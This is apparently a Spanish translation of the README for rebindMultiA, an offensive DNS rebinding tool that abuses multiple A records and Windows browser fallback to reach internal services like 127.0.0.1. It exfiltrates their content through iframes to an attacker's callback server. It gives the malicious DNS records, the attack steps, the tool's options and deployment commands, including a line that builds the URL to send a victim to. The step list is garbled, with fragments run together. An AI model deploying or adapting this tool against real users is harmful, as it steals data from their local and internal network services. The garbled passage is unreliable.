
Herramienta de ataque de reenlace DNS que explota múltiples registros A para eludir la política de mismo origen y exfiltrar datos de servicios de red internos mediante el comportamiento de fallback del navegador.
rebindMultiA es una herramienta para realizar un ataque de rebote de múltiples registros A.
rebindmultia.com es un dominio que he configurado para ayudar con estos ataques. Hace que cada IP sea su propio servidor de nombres autoritativo para el dominio [IP].ns.rebindmultia.com. Por ejemplo, el servidor de nombres autoritativo de 13.33.33.37.ns.rebindmultia.com es 13.33.33.37.ip.rebindmultia.com, que resuelve (como habrás adivinado) a 13.33.33.37.
El ataque de rebote de múltiples registros A es una variante del rebote DNS que aprovecha la capacidad del atacante de responder con dos direcciones IP a una solicitud DNS y la tendencia del navegador a recurrir a la segunda IP en la respuesta DNS cuando la primera no responde. En este ataque, el atacante configurará un servidor DNS malicioso y dos servidores HTTP maliciosos. El servidor DNS responderá con dos registros A:
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 13.33.33.37
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 127.0.0.1
El navegador de la víctima se conectará entonces a la primera IP y comenzará a interactuar con el primer servidor HTTP malicioso del atacante. Este servidor responderá con una página que contiene dos iframes, uno hacia /steal y otro hacia /rebind. El iframe /steal cargará una página maliciosa para acceder al segundo iframe y capturar su contenido. El endpoint /rebind, cuando se acceda a él, emitirá una redirección 302 a / y matará al primer servidor HTTP malicioso. Como resultado, cuando el navegador contacte nuevamente al servidor HTTP del atacante, se encontrará con un puerto cerrado. Como tal, recurrirá a la segunda IP. Una vez que el contenido objetivo se haya cargado en el segundo iframe, el primer iframe puede acceder a él, robar los datos y exfiltrarlos al segundo servidor HTTP malicioso del atacante: el servidor de callback.
Este ataque solo funciona en un entorno Windows. Linux y Mac priorizarán la IP privada primero y el servidor del atacante nunca será consultado.

127.0.0.1.target.13.33.33.37.ns.rebindmultia.com.server.py) analiza el nombre DNS solicitado y devuelve dos registros A: 13.33.33.37 y 127.0.0.1.server.py) y carga la página /parent que tiene dos iframes./steal desde el servidor HTTP malicioso del atacante./rebind, lo que produce una redirección 302 a / (el servidor HTTP saldrá después de esta solicitud)./ según la redirección 302 del servidor del atacante./ desde el servidor HTTP del atacante (ahora detenido), pero falla.127.0.0.1. Luego contacta a ese servidor y carga la página en el iframe.steal del atacante accede al segundo iframe recién cargado y captura el contenido.steal del atacante envía los resultados de vuelta al servidor de callback del atacante.pip3 install -r requirements.txt
python3 server.py --help
usage: server.py [-h] [-p PORT] [-c CALLBACK_PORT] [-d DNS_PORT] [-f FILE] [-l LOCATION]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Specify port to attack on targetIp. Default: 80
-c CALLBACK_PORT, --callback-port CALLBACK_PORT
Specify the callback HTTP server port. Default: 31337
-d DNS_PORT, --dns-port DNS_PORT
Specify the DNS server port. Default: 53
-f FILE, --file FILE Specify the HTML file to display in the first iframe.(The "steal" iframe). Default: steal.html
-l LOCATION, --location LOCATION
Specify the location of the data you'd like to steal on the target. Default: /
Si obtienes este error:
┬─[justin@RhynoDroplet:~/p/rebindMultiA]─[14:26:24]─[G:master=]
╰─>$ python3 server.py
Traceback (most recent call last):
File "server.py", line 2, in <module>
from http.server import HTTPServer, BaseHTTPRequestHandler, ThreadingHTTPServer
ImportError: cannot import name 'ThreadingHTTPServer'
Entonces necesitas usar una versión más actualizada de Python. Python 3.7+.
Esto debe ejecutarse desde una IP accesible públicamente.
git clone https://github.com/Rhynorater/rebindMultiA
cd rebindMutliA
pip3 install -r requirements.txt
echo "Send your victim to http://127.0.0.1.target.`curl -s http://ipinfo.io/ip`.ns.rebindmultia.com/parent to exfil 127.0.0.1"
sudo python3 server.py